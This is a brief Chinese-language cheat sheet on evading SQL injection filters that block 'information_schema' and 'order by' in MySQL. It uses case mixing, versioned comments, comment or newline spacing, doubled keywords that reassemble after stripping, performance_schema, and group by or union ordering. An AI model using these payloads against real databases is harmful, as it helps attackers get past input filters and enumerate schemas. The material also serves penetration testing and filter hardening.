绕过【information_schema】,【order by】过滤
1.大小写混合
利用数据库不区分大小写
inFOrmation_schema
inFoRMAtion_ScheMA
Order by
ORDer By
2./*!information_schema*/数据库的特性
/**/注释可以代替空格
/*!*/在这里会被mysql所识别
/*!50000information_schema*/
/*!order by*/
order/*666*/ by
order%0aby
order()bay
SELECT * FROM users ORDER `BY` `id` --
3.当过滤一个information_schema时
可以informationinformation_schema_schema
当information_schema被过滤这个就会被重新组成information_schema
ororder byder by
最后组成order by
4.同等替代
使用 performance_schema
performance_schema
是另一个系统数据库,主要用于性能监控。它提供了详细的性能指标和诊断信息,但也可以用来获取一些与 information_schema
类似的元数据。
虽然 performance_schema
主要用于性能监控,但它也可以提供一些关于数据库连接、锁、事件等的详细信息
order by可以用group by +聚合函数
select * from user group by id -- MySQL可能按id排序
union 的子查询排序
union select 1,2,3 from user order by 1
当order by 注入到union后的子查询中
数学表达式排序
select * from user order by id+0
转换为数字运算逃过关键字检测